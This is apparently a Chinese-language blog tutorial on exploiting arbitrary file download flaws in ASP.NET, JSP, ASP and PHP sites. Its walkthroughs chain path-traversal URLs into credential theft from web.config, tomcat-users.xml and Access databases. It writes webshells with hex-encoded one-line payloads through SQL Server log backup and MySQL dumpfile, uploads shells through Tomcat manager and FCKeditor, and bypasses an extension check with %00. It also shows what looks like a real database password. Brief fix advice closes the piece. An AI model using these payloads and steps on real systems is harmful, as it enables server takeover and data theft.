Web脆弱性有很多种,本人也无法穷尽,本文主要是讲一下web站点实现下载文件中可能存在的问题。技术性比较差,大牛请飘过… 对于web实现下载文件功能的方法有很多种,其中有一种方法直接将文件以字节流形式,发送给客户端,而文件的路径是通过参数传入,如果此时对传入参数没有进行过滤,则可能导致下载任意文件。 该功能的asp.net代码类似如下形式: try { string filename = HttpUtility.UrlDecode(Request.QueryString["filename"].ToString()); string filePath = Server.MapPath("upfile/" + filename);//路径 //以字符流的形式下载文件 System.IO.FileStream fs = new FileStream(filePath, FileMode.Open); byte[] bytes = new byte[(int)fs.Length]; fs.Read(bytes, 0, bytes.Length); fs.Close(); Response.ContentType = "application/octet-stream"; //通知浏览器下载文件 Response.AddHeader("Content-Disposition", "attachment; filename=" + HttpUtility.UrlEncode(fs.Name, System.Text.Encoding.UTF8)); Response.BinaryWrite(bytes); Response.Flush(); Response.End(); } catch { Response.Write("<script>alert('资料不存在!');history.back();</script>"); return; } 上述代码没有对filename参数进行过滤,导致可以下载任意文件.这个脆弱性对于asp.Net站点是非常致命,因为在asp.net站点下有网站的配置文件web.config,通常该文件中保存着连接数据库的用户名和密码,如果获得此信息,并且远程数据库可以远程访问,那么就可以直接登录远程数据库,通过数据库的差异备份等功能就可以获得webshell.下面简单操作一下这个过程: 首先下载网站配置文件web.config http://www.example.org/DownLoadFileLow.aspx?FileName=../../web.config 由于下载路径通常不是网站的根目录需要使用../回溯到网站的根目录,具体是几级回溯,需要根据具体的网站而定,这个只能是尝试,本人没有想出好的方法. 打开配置文件获得数据库连接字符串: <add key="ConnectionStringSQL" value="server=www.example.org;database=Dbicid2011;uid=Dbicid2011;pwd=ici48736;initial catalog=Dbicid2011" /> 登录到远程数据库,使用log备份获得一句话木马: use Dbicid2011-- drop table cmd-- alter database Dbicid2011 set recovery full-- create table cmd (a image)-- backup log Dbicid2011 to disk='D:\domains\icid2011\wwwroot\datafiles\RegistrationFiles\cmd.bak' with init -- insert into cmd (a) values(0x3C256578656375746520726571756573742822636D64222920253E)--<%execute request("cmd") %> backup log Dbicid2011 to disk='D:\domains\icid2011\wwwroot\yxy.asp'— (注:至于如何根据数据库获得web的绝对目录,就不再赘述)这样就完成了一次简单的渗透过程.
漏洞危害: 此漏洞危害是不言而喻的,即使远程数据库是内网数据库或者不能远程连接,该漏洞也可以使得攻击者下载任意web源文件.大大降低攻击的难度。
防范方法: 对于防范其它很简单,正常的filename参数中是不会包含../字符,(因为大部分情况下载文件在单独的一个目录中,不是网站的根目录,要想下载任意文件必须使用../回溯)只要检查参数中是否包含../,如果包含基本上就可以肯定是非法请求,直接提示,拒绝下载即可。
上述只是以asp.net为例,其实对于其它脚本也是一样,如php脚本实现该功能代码如下: <?php // downloading a file $filename = $_GET['filename']; header("Pragma: public"); header("Expires: 0"); // set expiration time header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Disposition: attachment; filename=".($filename).";"); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize($filename)); readfile("$filename"); echo basename($filename); exit(); ?> 基本功能类似,同样存在该问题,但是php的数据库连接文件不是固定的,需要下载几个文件才能找到,并且一般站点的mysql不允许远程连接,与上面的渗透方式有些不同,但是也可以下载源码或者系统其它配置信息,危害也已经很大了。具体的渗透过程和防范方法与上面类似,再此不在赘述。
Web文件操作脆弱性-----下载文件功能(2)
题外话: 有时间总结了一下,文件下载功能的危害,没有太多技术含量... 声明: 本文中所涉及到的站点,只是为了测试,并且做了处理,请不要破坏这些站点... 本来word文档有截图的,但是不知道怎么发 就这样子了,请见谅...
欢迎高人们分享对此漏洞的利用方法.
一、 概述 随着攻防技术的普及,常见的web漏洞,如sql注入、xss、上传漏洞,基本上,都广为人知,介绍其利用过程的文章和工具随处可见,一般重视安全的网站,代码中都加了防范这些漏洞代码。但是本文讲的任意文件下载漏洞常常不被人重视,而且该利用过程很难用工具实现,因此总结一下,任意文件下载漏洞的利用过程,其危害有时是非常致命。 二、 位置 一般的网站都提供下载文件功能,常规的思路是使用一个动态页面(php、jsp、aspx、asp等)将待下载文件作为参数一般参数名称为filename,如.php?filename/.jsp?filename等。一般实现过程是,在根据参数filename的值,获得该文件在网站上的绝对路径,读取文件,然后是直接发送给客户端下载。一般实现代码如下:(jsp实现文件下载的代码,其它语言实现过程类似) <%@ page contentType="application;" %> <%@ page import="java.util.*,java.io.*,java.sql.*,java.text.*"%> <% response.setContentType("application/unknown"); //url参数传入文件名 String filename = java.net.URLDecoder.decode(request.getParameter("fileName")); String filename2 = ""; filename2 = filename; //获得文件绝对路径 File file = new File("/home/zzang/www/jsphome/jm/thesisUpload/"+filename); byte b[] = new byte[(int)file.length()]; //将待下载文件直接返回给客户端 response.setHeader("Content-Disposition", "attachment;filename=" + filename2 + ";"); if (file.isFile()){ BufferedInputStream fin = new BufferedInputStream(new FileInputStream(file)); BufferedOutputStream outs = new BufferedOutputStream(response.getOutputStream()); int read = 0; while ((read = fin.read(b)) != -1){ outs.write(b,0,read);} outs.close(); fin.close();} %> 该代码实现了将文件下载到客户端,但是如果没有对传入的参数filename进行过滤,就可以实现下载服务任何文件,产生任意文件下载漏洞。
三、 判断方法 判断过程很简单: 1. 在路径中添加aa/../看是否可以回溯 原链接: http://edu.test.net/test/student_demo/Question_DownLoad.php?filename=2006101884105_Reply.doc 修改: http://edu.test.net/test/student_demo/Question_DownLoad.php?filename=aa/../2006101884105_Reply.doc 两次下载文件相同,继续测试 2. 确定是否可以下载任意文件 修改请求为: http://edu.test.net/test/student_demo/Question_DownLoad.php?filename=test/student_demo/Question_DownLoad.php 试图下载该下载文件的源代码,如果提示不存在,则可能是任意文件下载漏洞,在路径中添加../,直到下载到该文件为止。如果提示类型错误,可能不是任意文件下载漏洞。 最终下载成功的请求 http://edu.test.net/test/student_demo/Question_DownLoad.php?filename=../../../test/student_demo/Question_DownLoad.php
四、 利用过程 该漏洞不像其他漏洞那样有通用的利用方法和相关工具,本漏洞的利用过程与具体的网站架构关系很大,需要了解常见的网站的架构,如网站的配置文件位置等信息,下面分别介绍此漏洞在常见几种网站中利用方法。
利用此漏洞无论什么站点,第一步都是确定网站的根目录。因此首先介绍一下怎样确定站点根目录。 第一步:确定网站的根目录,一般待下载的文件都是放到网站的子文件夹下,子文件夹数目不定,因此需要使用路径回溯(../)确定网站的根目录。 例如:一个下载点: http://www.test.com.cn/DownLoad.aspx?fileName=%C4%EA%B6%C8%C9%F3%BA%CB%B1%ED.doc
可以下载文件。 可以看到download.aspx在网站根目录,因此下载 http://www.test.com.cn/DownLoad.aspx?fileName=download.aspx 出错: 使用回溯(../)确定网站根目录 http://www.test.com.cn/DownLoad.aspx?fileName=../download.aspx 失败 http://www.test.com.cn/DownLoad.aspx?fileName=../../download.aspx 下载成功,可以确定该下载点,两次回溯就可以回到根目录。打开文件看一下内容: 可以确定下载的文件是正确的。
对于该漏洞对于不同的网站利用方法有些差异。因此下面分别讲述:
1、 jsp站点 该部分主要讲述两种简单的利用方法,下载tomcat的配置文件和下载网站本身的源代码。 1)Jsp站点的一个下载点: http://www.test.cn/down.jsp?filename=%D5%D0%B1%EA%CF%EE%C4%BF%C9%EA%C7%EB1.doc&path=C:/Program%20Files/Apache%20Software%20Foundation/Tomcat%206.0/webapps/ZTBWZ/upload/%D5%D0%B1%EA%CF%EE%C4%BF%C9%EA%C7%EB1.doc 可以看到该下载点,有两个参数,其实是一样的,很容易看出path是待下载文件的在服务器上的绝对路径。而且网站放到tomcat的安装路径下,这一点很重要,说明可以直接访问tomcat的manager/html 请求: http://www.test.cn/manager/html 可以看到访问正常,输入用户名和密码就可以登录。 因此下一步就是下载tomcat的配置文件tomcat-users.xml(里面保存登录的用户名和密码) 首先需要对tomcat配置有些了解,具体配置如下: tomcat-users.xml 在conf文件下,这样就可以直接使用下载点下载该文件。 因此构造url如下: http://www.test.cn/down.jsp?filename=tomcat-users.xml&path=C:/Program%20Files/Apache%20Software%20Foundation/Tomcat%206.0/conf/tomcat-users.xml 下载成功: 打开该文件获得用户名和密码 登录 成功 下面直接,上传一个war文件,就可以获得webshell,完成了一次简单的测试。
2)下载网站本身源代码 下载点: http://test.edu.cn/file.do?method=downFile&fileName=20080505094144.doc 测试一下不能访问http://test.edu.cn/manager/html 上述方法失效。 首先下载网站的配置文件jsp的配置文件放在根目录WEB-INF/Web.xml下(一般都有很多内容,有时含有数据库连接用户名和密码等关键信息) 访问: http://test/file.do?method=downFile&fileName=../WEB-INF/Web.xml 下载后打开,关键内容: 后台使用fckeditor编辑器,该编辑器漏洞很多,直接使用该编辑器直接上传路径 http://test//admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=image&Connector=connectors/jsp/connector 选择一个jspshell直接上传,获得webshell,没有任何限制 系统权限,渗透完成。
2 aspx站点 1) 利用sql server渗透 对于aspx站点一般后台都是sql server数据库,因此利用该漏洞的最简单的方法是直接获得数据库密码,直接登录数据库,利用sql server完成渗透。
http://www.test.org/DownLoadFileLow.aspx?FileName=Accompanying_Persons_Tour_Program.pdf 首先确定网站根目录下载web.config文件,aspx站点用根目录下的web.config文件保存配置信息 尝试确定根目录: http://www.test.org/DownLoadFileLow.aspx?FileName=../web.config 错误信息: 该错误信息,确定网站的绝对路径(在后面的差异备份用到)
http://www.test.org/DownLoadFileLow.aspx?FileName=../../web.config 打开配置文件找到连接数据库项: 判断sql server 是否可以远程连接 可以远程连接 使用sql server连接服务器 登录成功: 已经获得网站的绝对路径,直接使用差异备份获得shell,即可. 使用菜刀 连接一句话 连接成功 完成渗透。
2) 下载dll文件 Aspx站点一般都会对后台源代码进行编译封装,保存到dll文件中,放到网站根目录的Bin文件夹下,因此,可以利用下载点下载dll文件,获得网站源代码。 一个下载点: www.test.com.cn/DownLoad.aspx?fileName=%C4%EA%B6%C8%C9%F3%BA%CB%B1%ED.doc 两次回溯确定网站的根目录 发现数据库连接失败,不能使用上述方法,因此,尝试通过下载源码,渗透。 首先下载DownLoad.aspx文件,主要是想查看这个aspx站点是否将源代码放到dll文件,这样的话就可以直接下载dll获得整站(不准确)的源代码。
下载后打开: http://www.test.com.cn/DownLoad.aspx?fileName=../../DownLoad.aspx 在此尝试下载对应的DownLoad.aspx.cs文件 http://www.test.com.cn/DownLoad.aspx?fileName=../../DownLoad.aspx.cs 失败,说明本站点的源代码放到dll文件中,并且DownLoad.aspx对应的源代码是xkcms.webForm.DownLoad,现在主要来猜解一下dll文件名,由这个命令空间 xkcms.webForm.DownLoad可以知道DownLoad不是,只能一个一个猜测。
http://www.test.com.cn/DownLoad.aspx?fileName=../../bin/xkcms.dll http://www.test.com.cn/DownLoad.aspx?fileName=../../bin/webForm.dll 猜测成功,dll是被编译过,直接使用.net reflector工具打开编译后的dll文件。 获得网站源代码如下: 首先看一下,download.aspx文件对应实现代码: 可以看出,没有对fileName参数做任何过滤直接下载请求文件,导致任意文件下载漏洞。
当然最关心的还是网站是否存在其他漏洞,最喜欢的当然是上传漏洞。 找到网站的上传位置 该上传页面没有对上传文件进行过滤导致可以直接上传,测试一下: 访问上传页面: 选择aspx后缀文件 然后到保存上传文件的路径下查看是否上传成功, 可见上传文件成功,直接将上传文件内容,改成aspx代码,即可获得webshell. 当然这是一个特例,注意安全的网站都不会这么差的,但是一般拿到源码总会找到漏洞,只要有时间…就不在举例子了.
3.asp站点 一般的asp站点都是access数据库(连接sql server 直接可以参考aspx站点的利用方法)。而access数据库可以直接下载,因此利用该漏洞比较简便的方法就是直接下载access数据库,找到管理员密码登陆后台,利用后台的上传功能,上传shell.
一个asp下载点 http://www.testcn/GraduateSchool/dlsd/download.asp?filename=012%C5%A9%B2%FA%C6%B7%BC%D3%B9%A4%CB%F9.doc 确定站点根目录: http://www.testcn/GraduateSchool/dlsd/download.asp?filename=../../GraduateSchool/dlsd/download.asp 下一个步,找到网站与数据库操作的动态页面,动态页面中一般使用include包含连接数据库的配置文件。 找到后台登陆入口 http://www.testcn/jianshen/F89A1/ Admin_login.asp
下载该登陆界面: http://www.testcn/GraduateSchool/dlsd/download.asp?filename=../../ jianshen/F89A1/ Admin_login.asp 打开下载后文件: 可以确定数据库连接文件在inc/conn.asp中 下载该文件 http://www.testcn/GraduateSchool/dlsd/download.asp?filename=../../ jianshen/F89A1/ inc/conn.asp 打开该文件 可以看到数据库路径。 http://www.testcn/jianshen/database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb 直接下载失败。应该是做了限制。使用下载点下载 http://www.testcn/GraduateSchool/dlsd/download.asp?filename=../../ jianshen/database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb 打开数据库,获得管理员用户名和密码(密码md5加密) 弱口令,破解获得密码,登录后台 找到上传位置
下载该文件,里面使用通用的上传文件,存在二次上传,构造二次上传页面: 选择两个文件上传,即可获得webshell.
4.php站点
php一般是mysql数据库, 一般mysql数据库禁止远程连接,但是可以使用phpMyAdmin进行管理。 www.test.edu.tw/download.php?filename=../conf/config.php &dir=/&title=config.php 下载获得mysql数据库的用户名和密码是root权限 直接使用phpMyAdmin登录 http://www.test.edu.tw/phpMyAdmin/index.php?lang=en-utf-8&convcharset=iso-8859-1&collation_connection=utf8_unicode_ci&token=dbb67456ce756a4d1a22f2b219fa612e 直接使用mysql导出文件功能导出一句话 select 0x3C3F706870206576616C28245F504F53545B636D645D293F3E into dumpfile '/home/webadm/public_html/app/test.php'
使用菜刀连接 完成一次渗透测试。
5.通用方法 上面在不同类型站点中利用该漏洞,都是利用各种站点本身的配置信息完成的,当上述方法都失败时,下载点就会将黑盒渗透过程变成白盒渗透过程,就是下载源代码,找bug,对于每种站点都是一样的。在此省略了.
五、 绕过简单限制方法 看到有些站点,对该漏洞的防范只是简单判断文件后缀名,例如如下所示: <?php
include( "init.inc.php" ); get_referer( false ); if ( empty( $_GET['filename'] ) || empty( $_GET['title'] ) || empty( $_GET['dir'] ) ) { error_display( t_( "缺少檔案下載參數" ) ); } $file_name = $_GET['filename']; $file_download = uploadpath( )."/".$_GET['dir']."/".$file_name; $file_extension = get_file_extension( $file_name ); if ( strpos( $_SERVER['HTTP_USER_AGENT'], "MSIE" ) ) { $file_save = utf8tobig5( $_GET['title'] ).".".$file_extension; } else { $file_save = $_GET['title'].".".$file_extension; } $file_save = ereg_replace( "[\\/:*?\"<>|]", "_", $file_save ); if ( $file_extension == "php" ) //这里对文件后缀进行判断 { exit( "<strong>Cannot be used for ".$file_extension." files!</strong>" ); } $mimeType = get_file_mimetype( $file_name ); if ( strpos( $_SERVER['HTTP_USER_AGENT'], "MSIE 5" ) || strpos( $_SERVER['HTTP_USER_AGENT'], "Opera 7" ) ) { $mimeType = "application/x-download"; } ob_end_clean( ); header( "Pragma: public" ); header( "Expires: 0" ); header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" ); header( "Cache-Control: public" ); header( "Content-Description: File Transfer" ); header( "Content-Type: ".$mimeType ); header( "Content-Disposition: attachment; filename=".$file_save ); header( "Content-Transfer-Encoding: binary" ); header( "Content-Length: ".filesize( $file_download ) ); @readfile( @$file_download ); ?> 但是这样同样可以下载,简单实用%00txt就可以绕过限制,继续下载。 绕过其它不安全防范防范待续….
五、 漏洞修复 从上面的利用过程可以看出,在使用该漏洞进行渗透过程中,需要利用到路径回溯符../跳出程序本身的限制目录实现下载任意文件,因此只要在下载前对传入的参数进行过滤,直接将..替换成空,就可以简单实现防范的目的。当然最好还是可以对待下载文件类型进行检查,判断是否允许下载类型。
|